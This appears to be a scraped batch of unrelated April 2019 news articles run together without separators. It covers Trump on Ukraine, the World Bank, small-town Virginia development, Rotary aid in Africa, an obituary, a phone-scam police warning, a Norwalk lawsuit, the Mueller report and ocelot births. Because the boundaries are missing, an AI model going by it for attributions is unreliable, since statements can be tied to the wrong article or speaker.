frankly, we have a great new attorney general who has done an unbelievable job in a very short period of time. And he is very smart and tough and I would certainly defer to him. I would imagine he would want to see this, he said. People have been saying this wholethe concept of Ukraine, they have been talking about it actually for a long time. You know that, and I would certainly defer to the attorney general. And well see what he says about it. He calls them straight. Thats one thing I can tell you, Trump added. Prosecutors who brought charges against Craig, the former Obama White House counsel, focused on a Ukrainian businessman who was also a major donor to Clintons organization, the Clinton Foundation, The Epoch Times reported earlier in April. Trump also noted that he spoke with Ukraines newly elected president, Volodymyr Zelensky. I just spoke to the new president a little while ago, two days ago, and congratulated him on an incredible race, he told Hannity. Incredible run. A big surprise victory. Thats 75 percent of the vote. World Bank Group President David Malpass and IMF Managing Director Christine Lagarde at the IMF and World Bank's 2019 Annual Spring Meetings, in Washington, D.C. on April 13, 2019. (James Lawler Duggan/Reuters) World Banks New President Skips Chinas One Belt, One Road for Africa Trip WASHINGTONNearly 40 world leaders and scores of finance officials, including International Monetary Fund Managing Director Christine Lagarde, are gathered in Beijing for Chinas second One Belt, One Road infrastructure summit, but the World Banks new president isnt among them. David Malpass, fresh from a senior Trump administration post at the U.S. Treasury Department, is instead making his first foreign trip as the World Banks leader to sub-Saharan Africa to highlight his vision for the banks poverty reduction and development agenda. A World Bank spokesman said Malpass will be traveling this weekend to Madagascar, Ethiopia and Mozambique before flying to Egypt and a debt conference in Paris. Malpass has said that Africa is a key priority for the bank due to its high concentration of the worlds poorest people. World Bank Chief Executive Officer Kristalina Georgieva, who had been acting president during the leadership selection process, is representing the institution at the summit and had accepted Chinas invitation before Malpass started at the bank on April 9, the bank spokesman said. Former World Bank President Jim Yong Kim attended Chinas first One Belt, One Road (OBOR, also known as Belt and Road) summit two years ago. Leaders of two of the countries on Malpass trip, Ethiopia and Mozambique, are among a number of African leaders also attending this years summit. Malpass, who was the Treasurys undersecretary for international affairs, is a longtime critic of Chinas OBOR lending practices and had worked to raise alarms about them with G7 and G20 countries in that role. In lending, China often fails to adhere to international standards in areas such as anti-corruption, export credits, and finding coordinated and sustainable solutions to payment difficulties, such as those sought in the Paris Club, Malpass told a U.S. House Financial Services subcommittee in December. His absence coincides with a significant downgrade of the OBOR summit by the United States as the Trump administration tries to negotiate a deal to resolve longstanding trade and intellectual property disputes with Chinatalks in which Malpass frequently participated. No high-level U.S. officials are attending, a State Department spokesman said, citing similar concerns about OBOR debt. Malpass said at the IMF and World Bank spring meetings this month that meeting the development lenders goals of ending extreme poverty by 2030 calls for a focus on Africa. By 2030, nearly 9 in 10 extremely poor people will be Africans, and half of the worlds poor will be living in fragile and conflict-affected settings, he told a news conference at the meetings. This calls for urgent action, by countries themselves, and by the global community. He told reporters on his first day on the job that he wanted to evolve the banks relationship with China to one where Beijing is a bigger contributor of capital and cooperates more closely with the bank on development issues and poverty reduction. But Treasury Secretary Steven Mnuchin, Malpass former boss, on the same day told lawmakers that the World Bank under Malpass leadership and a new U.S. development agency can be a serious competitor to (Chinas) Belt and Road. The OBOR initiative is aimed at building a vast network of infrastructure connecting China to Central Asia, Southeast Asia, Europe, and beyond, much like the ancient Silk Road. By David Lawder By ANGELA H. HILL Nearly two dozen residents, local officials and business owners attended a presentation on how The Virginia Main Street Program could again benefit the Town of Rocky Mount at The Franklin Center, April 19. That afternoon, 12 people attended an identical presentation at Blue Ridge Institute in Ferrum. Franklin County planning officials are working with area residents and business owners on drafting the countys Ferrum Area Plan. The next community meeting for the Ferrum Area Plan will be May 16 at 6 p.m. at the Ferrum Faith Ministry Center. This is the third event soliciting community input since February 2018. Franklin County Tourism Director David Rotenizer explained that the Main Street program may serve as a resource for the Ferrum Area Plans stakeholders group as they draft the plan. A revitalization program administered by the Virginia Department of Housing and Community Development, Main Street seeks to address disinvestment, a process that began across the state in the 1960s as residents and businesses began leaving small downtowns for suburban housing and big-box retailers. At its most basic, Main Street is economic development based on historic preservation, explained Rebecca Rowe, program manager for Main Streets Richmond-based office. I think even that is a little bit of a misnomer because for some localities, its economic development through your place-based assets. What is it about Ferrum that makes Ferrum unique and how do we leverage those things? Communities can participate in Main Street by either becoming a designated community or a commercial district affiliate. The outcome-based program emphasizes sustainable development, entrepreneurship, community pride, public/private partnerships, town vibrancy, regional allure and establishing a sense of place. Most importantly, however, Main Street is grass roots, Rotenizer explained. Unlike other programs, projects and branding efforts facilitated by Main Street are determined by a consensus of residents and business leaders. Plus, the program provides networking and educational opportunities through conferences and online resources that connect community leaders from around the state. The affiliate program also offers grant funding for a wide array of business-development and community revitalization projects, Rowe said. CDAs compete annually for one of five $7,000 grants. The Town of Boones Mill received a grant to create a pocket park, which is a small park in a town setting. Rocky Mount first joined Main Street in 1995 as a full designated community, hiring a director in 2008 for the required citizen companion group Community Partnership for Revitalization. Now all-volunteer, CPR remains active, continuing to organize events such as the upcoming Court Days in June. By 2011, both the town and Franklin County had withdrawn funding for the director position. Town officials said in 2008 that the program increased tax revenue and real-estate values. Business leaders shared that the program led to cherry-tree planting, retail store facade improvements, sidewalks, street lights and special events. Rocky Mount has remained a CDA. Barbara Chauncey, volunteer board member for CPR, said CPRs 12 board members and four officers attend all the community development meetings they can and continue to benefit from Main Streets resources. [Fridays Main Street presentation] was quite informative, Chauncey said. We always enjoy being present in any meeting where either the Department of Historic Resources or The Virginia Main Street Program is included. CPR formed in 1995 and joined with Main Street to utilize its project platform and assistance in obtaining the substantial grants that went to revitalize both uptown and downtown Rocky Mount, she said. Those projects finished a number of years ago, and after the revitalization was complete and successful, there was not a need or ability to continue with the Main Street requirements, so we turned our attention as a volunteer group to help the Town of Rocky Mount market community events such as Come Home to a Franklin County Christmas. Now we really enjoy marketing town events and the beautification projects, she continued. Chauncy said Main Street continues to be a valuable resource and a wealth of information through which community leaders from outside areas share what theyre doing. Amy Worley, owner of Rocky Mount bed and breakfast The Claiborne House, said she also enjoyed the presentation and encourages fellow business owners to sign up for the Main Street blog to keep up with current trends and network with small-business development centers. I thought the overall presentation was fantastic, Worley said. It talked about using things we already have in place. Its not creating anything new or new-ish. She added that the programs structured platform can help launch projects. Rowe explained that Main Street provides support for ideas generated by each of its localities. Participants are urged to follow a program that leads to transformation and strategic planning with both qualitative and quantitative data and a firm grasp of demographics so that the ideas are implemented and dont sit on the shelf. For example, Rowe said, if an area is a college town then maybe it wants walking and biking paths between campus and downtown. Those paths should be well-lit and include signage. Perhaps the town and college want to partner on back-to-school nights and campus events, she added. The organization gives the community that sense of ownership, Rowe said. This is your organization, and the work plan and the way the organization runs should be responsive to what the community needs. Submitted photo Walter Hughes Jr. has a monkey on his back at the Boabeng Fiema Monkey Sanctuary in Ghana. Submitted photo Walter Hughes Jr. greets students at the dedication of the new Estate Experimental Preschool on Sept. 27 in Ghana. By LEIGH PROM If there was a Whos Who for Humanitarian Aid to Africa, Walter Hughes, Jr. would be featured. Hughes has served in four countries and taken 30 trips to Africa. He returned three weeks ago from his most recent trip during which he journeyed to Ghana, Uganda and Kenya. He has dedicated the majority of his work in Ghana in West Africa because he said it is good to build strong relationships in one country. I usually go to Africa twice a year for two weeks to one month at a time, Hughes said. This year, Im going to Ghana twice and to Uganda and Kenya once. Hughess trips consist of overseeing past projects, empowering local leaders on how to carry on with projects and scouting and planning for future projects. Projects have included drilling many wells, building seven schools, building twelve churches, installing thousands of microflush toilets, equipping two hospitals with medical equipment and working to eradicate guinea worm disease from Ghana and South Sudan. Ghana The current focus in Ghana is on schools, wells and microflush toilets. The first two schools were built in 2005 and 2017 with support from Redwood United Methodist Church. Rotary Foundation with global grants has been building five schools in Ghana. The Rocky Mount Rotary Club is leading the effort to raise funds for the schools. Estate Experimental Preschool and Abansere Elementary School were dedicated recently. Nkrankrom and Soronoase elementary schools are currently being built and scheduled to open in September. Construction of Adadease Junction Junior High School will start in a few months. An assemblywoman named Stella Anahor appealed to Rotary to address sanitation, telling club members Old women and young girls need good sanitation. I go behind rocks to relieve myself at night. Hughes learned about the microflush toilet, invented by Dr. Stephen Mecca. The micro-flush toilet helps solve the great need for sanitation. A girl washes her hands with water in the sink. The water flows to the toilet for the next flush. The toilet uses earthworms to make compost. It is superior to pit latrines because there is no sewage, waste, smell, flies or mosquitos. It costs approximately $250 to build a microflush toilet for a family. Flush toilets cost thousands of dollars for a septic system or require an investment of millions of dollars for a waste treatment system to support that home with a flush toilet. Stella Anahor and thousands of other homes and schools now have microflush toilets. Hughess goal is to introduce the microflush toilet in as many countries as possible. The mission in Kenya was to visit with Maasai tribal community leaders who want to build a Senior High School to allow elementary school students to graduate. The community leaders are pledging to make 10,000 bricks, to donate the land and to lead the effort. Right now, students can only go to school through 7th grade. Uganda The effort Hughes works with in Uganda is a municipal water system running on solar power to provide water to 10,000 people distributed across the Meriket community, as well as schools, a central market and neighborhoods. Additionally, 48 men and women were trained how to build Microflush toilets. Rotary District Governor George Karnes and Hughes worshipped at All Saints Church of Uganda in Kidera. In 2018, the local congregation raised 55% of the building funds. Hughes spearheaded donation efforts to finish the churchs roof, windows, doors, floor and final brick work. Church leaders plan to extend the balcony, paint and do much more. Hughes served as a licensed local pastor for New Hope United Methodist Church in Callaway. He also worked for Mobil Oil. He retired from America Online in 1999 where he was the Director of Strategic Technologies. He combines these experiences to identify his vocation these days as being an entrepreneurial missionary. At age 58, he is very active at Eastlake Community Church in Moneta. Building leaders in the community in which he works has become a real passion of Hughes. He added he enjoys watching communities become empowered. We are training community leaders to solve their own problems, Hughes said. When leaders finish one project, they believe they can do another. We promote local leadership, local labor, local funding, local training, micro-credit loans and then Rotary fills the funding gap. His father, Walter Hughes Sr., said his son became interested in overseas service in 1999 after reading Luke 12:48. From everyone who has been given much, much will be demanded. Hughes Jr. joined Rotary in 2000 to spend more time with his father, and went on his first mission trip to Ghana in 2003 with an uncle. It was there he saw the dire needs of others less fortunate than himself. Hughes, Sr. traveled extensively during his service in the Navy and with his wife, Yvonne. While Walter Sr. and Yvonne have not gone with their son to Africa, two of Yvonnes brothers and one sister have made the trip with Hughes Jr. Hughes Jr. is the father of Missy, Carrie and Jessica. His son, Johnny, will graduate in May from Virginia Tech. His ex-wife and their daughter, Missy, went on a mission trip with him in 2012 with a youth group from the Wesley Foundation at Virginia Tech. In April 2013, he was honored at the White House as one of 12 Rotary International members from around the country selected as a Champion of Change. The award was created as an opportunity for the White House to feature groups of Americans individuals, businesses and organizations who are doing extraordinary things to empower and inspire members of their communities. Hughes has led a Rotary partnership through clean water projects to provide water to 450,000 people and improved sanitation. In commenting on Hughes service to others beyond Franklin County, Joanna Gruver, president of the Rocky Mount Rotary Club, said, Rocky Mount Rotary Club organizes the Independence Celebration at Franklin County High School each year and does other local service work. We love our community, but we are also global citizens. When asked why he continues to serve in Africa, Hughes replied, Its really a calling from God. HEATH Joyce Evelyn Hunt June 7, 1935 April 16, 2019 Joyce Evelyn Hunt Heath, 83 years, beloved widow, mother, grandmother, great grandmother, sister, aunt and friend, went to her heavenly Father's home on Tuesday, April 16, 2019. She joined those who went before her husband, Charles Walter Heath; her parents, Evelyn and George Hunt; sisters, Angelina H. Naff, Bonnie H. Ciccone, Reba H. Taylor, Edith H. Barnhart; brothers-in-law, Peter C. Snyder, Wesley Naff; and nephew, Jeffery O. Taylor. She is survived by her children, Margie Heath Richardson Dodd (Danny Whitmore), Fayth Heath (Thomas Esker), C. Walter Heath (Debra Heath) and Frances Bedwell; grandchildren, Jonathan E. Brown, Lindsey Richardson (Brandon Wakeman) Daniel H. Brown (Ashley and their children Eleanora and Edris), Joe Bailey (Macee), Walter Krae Heath (Colleen), Paige Evelyn Bedwell, Maegan Deibler (Camm and their children Turner and Wells), Ashlee Wilburn (Dave and their children Charlotte and Henry), former daughter-in-law, Vickie King and many who called her "Mama Heath" or "Granny." She is survived as well as by her sister, Georgia Anne Snyder Falkinham (Joe); brothers, George E. Hunt (Anne) and Charles S. Hunt (Sandy); brothers-in-law, Alvin Ciccone and Richard Barnhart and a multitude of nieces, nephews, great-nieces and great-nephews. Native of Franklin County. Joyce was one of the sweetest, most thoughtful and selfless people one could have the privilege of knowing. She always found something kind to say to all who crossed her path. Joyce lived her life as full as possible through her church, volunteering, employment, and most of all her family. She was the first person many called when help was needed to care for a loved one. She was an advocate for the handicapped and disabled. She always had a smile and a hug for anyone who needed one. Joyce was a giver. As a young teen, Joyce helped her family clear land and build a homeplace on the family farm in Burnt Chimney. Even as a student, Joyce was a leader earning accolades and awards at Franklin County High School as a cheerleader and even State President of the Future Homemakers of America. Joyce was the most outgoing, caring and giving person many have ever known. She dedicated her life to making life better for others. Whether by sharing a smile, a hug, a listening ear, wise counsel or just a moment or two of her time, she was always willing. Joyce was a life-long learner, who chose to improve her education through night classes when her children were young to better assist them in their own educational pursuits. She continued to challenge herself to learn new skills, becoming a master seamstress/tailor, a time-study engineer/tech for Kenrose Manufacturing and a multitude of training courses through the Virginia Tech Extension Service. Joyce was honored as Roanoke Valley Mother of the Year (Family Life) in 1974. She was a Channel 7 Hometown Hero in 1990. Both honors were granted because of her years of dedication to her family, their schools, the church, the community and the surrounding towns. Her volunteer activities included: 18-year Girl Scout Leader at Thrasher UMC, started Neighborhood Watch in Mt. Pleasant, Charter Member of Mt. Pleasant Lioness Club, volunteer for Special Olympics and more. Joyce volunteered as a 4-H Leader helping to establish clubs across the Roanoke Valley and volunteering at the summer camp at the W.E.Skelton 4-H Educational Conference Center at Smith Mountain Lake which garnered her another honorarium with the dedication of the Heath Education Lab at the Skelton Center. A tragic accident left Joyce's beloved Charles comatose for 4 years preceding his death in 1993 and she cared for him at home with all the loving dedication imaginable. Joyce was veteran caregiver having been on hand to assist several disabled family members for much of her life. Joyce spent her last working years at The Virginia Veteran's Care Center in Salem, where she was the Activities Director in the memory care wing. She inspired the veterans to relive their youth with music and dancing from by-gone eras. Joyce decorated the social hall with seasonal and patriotic displays. She organized hallway parades for the veterans and most importantly of all, she insured that the WWII veterans were escorted to the grand opening ceremonies at the Bedford D-Day Memorial. Joyce's cheerfulness and helpfulness did not end when a stroke and developing dementia took her independence in 2011. Instead, she became an advocate for the patients at Raleigh Court who were struggling more than she. She always had a kind word for fellow residents and for staff and quickly became "Granny" to them all. All who knew her, knew that they were loved. Rest in peace, Joyce. Funeral service will be 11 a.m. Monday, April 22, 2019 at Thrasher United Methodist Church. Pastors Robert Stutes and B. Failes will officiate and interment will follow at Mount Pleasant Cemetery. In lieu of flowers, memorial donations may be made to the W. E. Skelton 4-H Educational Conference Center at Smith Mountain Lake to support summer camp for youth. Please make your check payable to the Virginia Tech Foundation SML, fund #881706, and mail to the Skelton 4-H Center at 775 Hermitage Road, Wirtz, Va. 24184. Family will receive friends from 6 to 8 p.m. on Sunday, April 21, 2019, at Oakey's Vinton Chapel. WESTPORT - Police are warning residents of a scam from someone purporting to work for the Social Security Administration. On Monday, a Westport resident received a phone call from someone purporting to work for the Social Security Administration using what appeared on the caller identification as a legitimate phone number for the Social Security Administration., police said in a release. The caller told the resident her Social Security number was being used fraudulently in another state. The caller also knew her name and correct Social Security number. Minutes after ending the call, the victim received a phone call from what appeared to be the Westport Police Department non-emergency line, (203) 341-6000. The caller identified himself as a Westport Police officer and said he was investigating the illegal use of the victims Social Security number. The victim was told her assets would be frozen and suggested transferring $10,000 to a special account, so that she would have available funds during the investigation. The victim was instructed to send the money in the form of Bitcoin. The victim sent $4,000 before she realized she had been scammed. Criminals are disguising their phone numbers to appear legitimate. If you have any doubts as to the legitimacy of a call, whether the caller claims to be an employee of a utility company, the Social Security Administration, IRS etc., we recommend that you hang up before providing any personal information and contact the agency/company directly. The Westport Police Department does not establish special accounts to hold the personal funds of residents during an investigation. If you are a Westport resident and believe you have fallen victim to this scam, please contact the police department via the non-emergency line (203) 341-6000. NORWALK The battle over the Wall Street-West Avenue redevelopment plan continues as real estate broker Jason Milligan, under IJ Group LLC, filed a lawsuit against the city, the Norwalk Redevelopment Agency and the two consultants that helped put the plan together. The lawsuit, which was formally filed Friday in Bridgeport Superior Court, alleges that the city and agency violated due process and committed fraud through the definitions of blight and public process surrounding the recently approved Wall Street-West Avenue Redevelopment Plan. Harriman Associates, based in Hartford and the Regional Plan Association, based in Stamford, were also named defendants for their role in helping determine blight or deteriorating conditions the plan, according to the lawsuit. The Agency Defendants finding of blight or deteriorated/deteriorating conditions in the Final Final Plan is completely arbitrary, unreasonable and illegal, the lawsuit reads. The Agency Defendants finding of blight or deteriorated/deteriorating conditions are made in bad faith and is an abuse of power. Norwalk counsel did not return a request this week for comment. Norwalk officials and representatives said previously the area needed a plan in place to help its revitalization. The stated goal of the plan is to understand area opportunities and challenges and develop a vision for the future of the neighborhood. We have an area thats missed every economic boom, Councilman John Kydes, chairman of the Planning Committee, said at the committees meeting in March. I think were all in agreement that something needs to be done to revitalize this area. However, the lawsuit accuses the Norwalk Redevelopment Agency and the consultants of deliberately misleading the public and the Common Council by submitting determinations of blight that are not based in fact. The plan was unveiled to the public at the end of 2018 and in January 2019, many members of the public voiced concerns with the plan at a public hearing for it, particularly surrounding the determination of blight as it was listed. According to the Regional Plan Association analysis in the plan, which worked with the Norwalk Redevelopment Agency to develop it, 205 out of 385 properties meet one or more state and federal criteria for blight determination. The plan lists that 41 parcels on the site are contaminated or potentially contaminated sites, 147 have suspected lead paint because they were built before 1978 and have not been improved and 44 parcels partially or fully within an 100-year floodplain. In order to qualify as a redevelopment area, in the eyes of the state, 20 percent of properties must meet these criteria. On the federal level, the United States Department of Housing and Urban Development requires that 25 percent of the properties within that designated zone to qualify. As the plan moved through the process, a second consultant, Harriman, was brought on and provided an additional appendix to the plan called Deteriorating or Deteriorated Conditions Analysis. Timothy Sheehan, the executive director of the Norwalk Redevelopment Agency, said at the agencys March meeting that public comment surrounding the blight designations spurred them to bring on another consultant. There was concern with how that determination was applied, he said. Then there was a sense that perhaps we should go back and take another look. Harrimans analysis in the plan states, Harriman has determined that the area meets the criteria for designation as a deteriorating area as defined in both state and federal statutes. This determination was made through look at property value depreciation in the area, which listed 177 parcels that had their property value deteriorate more than 30 percent. In the lawsuit, however, Milligan argued that adding the second analysis and not restarting the public hearing process was intentionally misleading. He also argued against both methods used by the consultants to desingate the properties in the area. The public was denied the opportunity to: present evidence; know and to meet by rebuttal, cross-examination and argument all evidence unfavorable or otherwise, the lawsuit reads. The Agency Defendant deliberately misled the public by distributing versions of the plan that were different than the Final Final Plan that was submitted to and approved by the Agency. Milligan said in the lawsuit that as the plaintiff he is suffering and will continue to suffer from deprivation of property rights. This is the latest legal matter Milligan, who owns properties on Wall Street and in the nearby areas, and the city have been involved in. Hes currently in litigation with the city over properties he purchased in the area and previously was in litigation surrounding property he owned near the library. Milligan has been an outspoken critic of the plan throughout the entire process, which involved approvals from Common Councils Planning Committee, the full Common Council and the Norwalk Redevelopment Agency. Lets be honest with ourselves no honest, intelligent person, nobody would come into this section, talk to the stakeholders, walk the streets, and determine this place to be a slum, Milligan said at the Planning Committee March meeting about the plan. kelly.kultys@hearstmediact.com President Donald Trump was furious. He had just learned that special counsel Robert Mueller III's investigation went beyond Russia's interference in the 2016 campaign and into the White House - and that Trump himself was now under scrutiny for his actions in office. The next day, he attempted to oust Mueller, only to be thwarted by his White House counsel, according to the special counsel's report. So Trump turned to the one person he could long count on to do his bidding: Corey Lewandowski, his former campaign manager, described by senior White House advisers to investigators as a Trump "devotee." In a private Oval Office meeting, the president dictated a message he wanted delivered to then-Attorney General Jeff Sessions: that he needed to give a speech announcing he was limiting the scope of the investigation. Trump's efforts to enlist Lewandowski as a back channel to try to curtail the probe, detailed in 10 pages of Mueller's 448-page report, provides a new window into how far the president went in trying to hold back the special counsel. The episode, which discomfited even some of Trump's most loyal advisers, was read by some legal observers as one of the clearest cases laid out in Mueller's report of potential obstruction of justice by the president. In unequivocal terms, the report states that there was "substantial evidence" that Trump hoped his actions would derail Mueller's investigation and prevent further scrutiny of his campaign and his own conduct. But senior Justice Department officials took a more skeptical view, which informed Attorney General William Barr's later conclusion that Trump could not be charged with obstructing justice, according to people familiar with the thinking. The differing interpretations might help explain how Barr ultimately came to his decision, despite the detailed evidence in Mueller's report. "All the attorney general was deciding was whether this was a prosecutable offense, and we don't bring criminal charges at the department unless we believe we can prove them beyond a reasonable doubt to a jury," a senior Justice Department official said, speaking on the condition of anonymity because of the sensitivity of the matter. The White House declined to comment. The president has claimed that Mueller's investigation resulted in his "complete and total exoneration." "Despite the fact that the Mueller Report was 'composed' by Trump Haters and Angry Democrats, who had unlimited funds and human resources, the end result was No Collusion, No Obstruction. Amazing!" he tweeted Thursday. Through a combination of missed opportunities and personal hesitation, Lewandowski never executed Trump's demand. But the roughly month-long period in the summer of 2017 depicted in Mueller's report details repeated and escalating efforts by the president to stymie the Russia probe - laying out evidence that former prosecutors said meets the elements required in an obstruction-of-justice charge. "This is a very significant episode," said Barbara McQuade, who served as a U.S. attorney in Michigan during the Obama administration. "The question is, are all of the elements of obstruction of justice met? Was there an act, was there a sufficient nexus and was there a corrupt intent? Here, the answer is yes, yes and yes." She added: "There are several episodes where I am confident that if this were not the president of the United States, charges would absolutely be recommended. And this is one of them." Former independent counsel Robert Ray, however, said he believes the president's conduct in office must be assessed with some nuance - not just to see whether it meets the technical case for obstruction. "It's the president . . . You've got to have a certain amount of latitude for the president to roam and maneuver in the execution of his constitutional duties," Ray said. He said he was not arguing that the president is above the law but that prosecutors have discretion about whether to charge a crime and always look at more than merely whether the elements of a crime are present. - - - Trump was already unhappy about the special counsel's investigation when The Washington Post reported on June 14, 2017, that Mueller had broadened his probe to include whether Trump had obstructed justice. The president was now "facing what he had wanted to avoid: a criminal investigation into his own conduct that was the subject of widespread media attention," the report stated. Three days later, Trump called White House Counsel Donald McGahn and directed him to have Mueller removed, according to the special counsel's report. "Mueller has to go," McGahn recalled the president telling him. The White House counsel contemplated resigning but ultimately was persuaded by other Trump aides to stay. He did not follow the president's directive. Trump denied the episode in a tweet Thursday, saying he never told McGahn to fire Mueller. "If I wanted to fire Mueller, I didn't need McGahn to do it, I could have done it myself," he wrote. Since the release of Mueller's report, congressional Democrats have focused on trying to get more information from McGahn, a participant in several key episodes who has drawn Trump's ire for sharing potentially damaging information with prosecutors. But the report indicates that Lewandowski also provided revealing information about his interactions with Trump during an April 2018 interview with the special counsel's office. Lewandowski declined to comment. On June 19, 2017, two days after his call to McGahn, the president summoned Lewandowski to the White House - going outside the government to execute a task his own White House counsel had refused to carry out. Lewandowski had repeatedly proved his loyalty to Trump. He had signed on with the campaign when the New York mogul's candidacy was widely dismissed as a joke. He followed the mantra of "Let Trump be Trump" and offered fiery defenses of his boss. When he was fired from the campaign, he appeared on television that day to praise Trump. By the time he met with the president in the Oval Office that June day, he had refashioned himself as a Washington lobbyist, drawing on his Trump ties. After some small talk, the president turned to the purpose of the meeting, according to the special counsel report. He was angry that Sessions had recused himself from the Russia investigation and had a message he wanted Lewandowski to pass along to the attorney general. "Write this down," the president ordered Lewandowski, prompting the former aide - who had never taken dictation from Trump before - to begin scribbling as fast as possible, to make sure he captured Trump's torrent of frustration. Trump wanted Sessions to deliver a speech declaring that the president was "being treated very unfairly," and that he should not be facing a special counsel investigation "because he hasn't done anything wrong," the report states. Sessions should conclude the speech, Trump told Lewandowski, by announcing he planned to meet with Mueller in order to limit the investigation to future instances of meddling in U.S. elections. The senior Justice Department official said bringing a prosecution on those facts would have been complicated because the obstruction "relies on multiple people in a chain all doing something," including Lewandowski delivering the note, Sessions being persuaded by it and then Sessions moving on the special counsel. "That's a very attenuated chain," the official said. "It's even more attenuated given that the note isn't even an order." McQuade said that Trump's decision to turn to a supporter outside of government such as Lewandowski as his messenger was legally significant, indicating that the president viewed this as an action to be taken outside of official channels. "It will be clear this is coming from Trump himself and not coming from another government official," she said. "It makes the message more powerful. It provides a fair inference of corrupt intent." Ray took a different view, noting that the actions the Mueller report described are certainly within the purview of the president - giving orders to his attorney general, and even choosing to seek out private citizens to accomplish his goals. A president should be able to feel out his role and decide how he thinks it best to carry it out, he said. The Justice Department official said prosecutors would have had to prove not just that Trump wanted to shut down the investigation but that he did so with corrupt intent. The official said there was some evidence that Trump wanted to end the investigation because of the effect it was having on his presidency, rather than to cover up another crime, and noted that Mueller did not conclude Trump coordinated with Russia to interfere in the election. Lewandowski told the president he understood his request but felt uneasy, according to the report. He told investigators that he wanted to have the conversation with Sessions in person, rather than over the phone. He invited Sessions to his office the following evening because he did not want the public record of the meeting if he met with the attorney general at the Department of Justice, the report said. Because of a last-minute conflict, the attorney general canceled the meeting. Lewandowski said he stored his notes of Trump's request in a home safe - his standard practice for items he believed were sensitive. But he also began contemplating a way to hand off the task. Former White House chief of staff Reince Priebus told Mueller's team that he vaguely remembered Lewandowski telling him that Trump had asked him to get Sessions to resign - and that Lewandowski was befuddled by the request. "What can I do?" Priebus recalled Lewandowski saying. "I'm not an employee of the administration. I'm nobody." Lewandowski approached Rick Dearborn, a former chief of staff to Sessions who served as a senior White House official, and asked him if he might deliver a message to Sessions, without describing the contents. Dearborn agreed. Lewandowski told investigators that he believed Dearborn would make a "better messenger" than him because of Dearborn's deep relationship with Sessions, but also because he was a government official. On July 19, 2017, Trump and Lewandowski again met alone in the Oval Office. Their encounter came shortly after the New York Times reported that Donald Trump Jr. had met during the campaign with a Russian lawyer who he believed would provide damaging information on Hillary Clinton. Trump again asked Lewandowski if he'd spoken with Sessions about the president's previous request. Lewandowski promised he would soon. The president told his former campaign manager that if Sessions refused, Lewandowski should simply tell the attorney general he was fired, according to the special counsel's report. Before entering the Oval Office, Lewandowski had given his handwritten notes from the previous meeting to Hope Hicks, then the White House communications director, and asked her to type them up. When he left the Oval Office, he ran into Dearborn, and handed him the typewritten version of the message Trump wanted delivered to Sessions. It was the first time Dearborn learned of the contents of the missive. He told Mueller's team that it "definitely raised an eyebrow" and made him uncomfortable. He said didn't want to know where the directive came from - or even think about it anymore. He did not pass along the message to Sessions and discarded the notes. Dearborn declined to comment. Meanwhile, Trump was publicly ramping up his attacks on Sessions. Just hours later, in an interview with the Times that was originally supposed to be off the record, Trump lashed out at his attorney general. He criticized Sessions' decision to recuse himself from the Russia investigation and said had he known, "I would have picked somebody else." Later that day, Lewandowski and Hicks discussed the Times interview, according to the report. Lewandowski confided in Hicks about Trump's request that he meet with Sessions, telling her that Trump had told him to tell the attorney general to do the "right thing" and resign, she told investigators. Lewandowski also joked about the absurdity of Trump telling him, a private citizen, that if Sessions refused to meet with him, he should simply tell the attorney general he was fired. Hicks declined to comment. Three days later, Trump ordered Priebus to force Sessions to resign - a directive the then-chief of staff also resisted. But Trump's ire with his attorney general resonated: for the rest of the year, Sessions carried a resignation letter in his pocket every time he visited the White House. - - - Three elements are required to prove an obstruction-of-justice charge. Prosecutors must show an act had a nexus to a particular proceeding or investigation, that it would naturally impede that proceeding and that it was undertaken with corrupt intent. In the Lewandowski episode, the special counsel indicated there was strong evidence of all three elements, the report stated. By the time Trump issued his directive to his former campaign manager, it had been widely reported that a grand jury investigation was underway as part of the special counsel's investigation. If the president's efforts had been successful, he would have sharply curtailed the scope of Mueller's probe. Finally, the special counsel wrote that there was "substantial evidence" that Trump's intent was to shield himself from scrutiny. The investigation into potential obstruction of justice by the president ended without a final finding by Mueller. The special counsel decided that a Justice Department opinion that a sitting president cannot be indicted limited him from even saying whether a charge should be brought. But the report made it clear prosecutors believed there was evidence of a potential crime. "If we had confidence after a thorough investigation of the facts that the President clearly did not commit obstruction of justice, we would so state," it read, adding: "While this report does not conclude that the President committed a crime, it also does not exonerate him." The Justice Department official said the special counsel's report, though, was not in conflict with Barr's ultimate conclusion. "The special counsel never decided whether this is a prosecutable case, so there's no conflict between the attorney general's decision that it's not and the special counsel's report," the official said. Two litters of endangered ocelot kittens were born by artificial insemination in March, thanks to the efforts of Cincinnati Zoo scientists. A total of five kittens were born March 1 and 2, with three of the kittens surviving. They are being raised by their mothers at the respective zoos. The kittens' father was moved from Brazil in 2006 to the Cleveland Metroparks Zoo, where his semen was collected and frozen nine years ago. This male, now 16 years old and living at the Houston Zoo, has no other offspring and is considered the most genetically valuable male ocelot in any North American zoo. Scientists with Cincinnati's acclaimed Center for Conservation and Research of Endangered Wildlife (CREW) program collaborated with colleagues from the Arizona-Sonora Desert Museum and the El Paso Zoo to help produce the kittens. These births represent the culmination of 25 years of research by CREW's director of animal research, Dr. Bill Swanson, who produced the first ocelot kitten from artificial insemination with frozen semen at the Dallas Zoo decades ago. Since then, CREW has improved its insemination strategies for felids by modifying protocols for semen cryopreservation, ovarian synchronization and laparoscopic insemination. For the last four years, these research efforts have been supported by a Collection Stewardship grant from the federal Institute of Museum and Library Services. Ocelots have been included on the U.S. endangered species list for more than 40 years, and a small population of 60 to 80 wild ocelots still survives in South Texas. WASHINGTON - President Donald Trump said Friday that the United States did not pay any money to North Korea, which had issued a $2 million bill for the hospice care of American Otto Warmbier, the comatose University of Virginia student sent home from Pyongyang in 2017. "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else," Trump said in a tweet in which he suggested he has taken a different approach to hostage negotiations than his predecessor. Trump reiterated the point two hours later as he spoke to reporters outside the White House. More News Opinion: One more North Korea humiliation for Trump "We did not pay money for our great Otto," Trump said. "I haven't paid money for any hostage. . . . We don't pay money for hostages." The Washington Post reported Thursday that North Korea presented an invoice for Warmbier's care in an extraordinarily brazen act even for a regime known for its aggressive tactics. The main U.S. envoy sent to retrieve Warmbier signed an agreement to pay the medical bill on instructions passed down from Trump, according to two people familiar with the situation. They spoke on the condition of anonymity because they were not authorized to discuss the matter publicly. The bill went to the Treasury Department, where it remained - unpaid - throughout 2017, the people said. Before Trump's tweet, the White House had declined to comment on whether the bill was paid or whether the issue came up during preparations for Trump's two summits with North Korean leader Kim Jong Un. In his Friday tweet, Trump cited two episodes during the Obama administration that he suggested stood in contrast to his stance on hostage negotiations. Trump claimed that the previous administration "paid 1.8 Billion Dollars 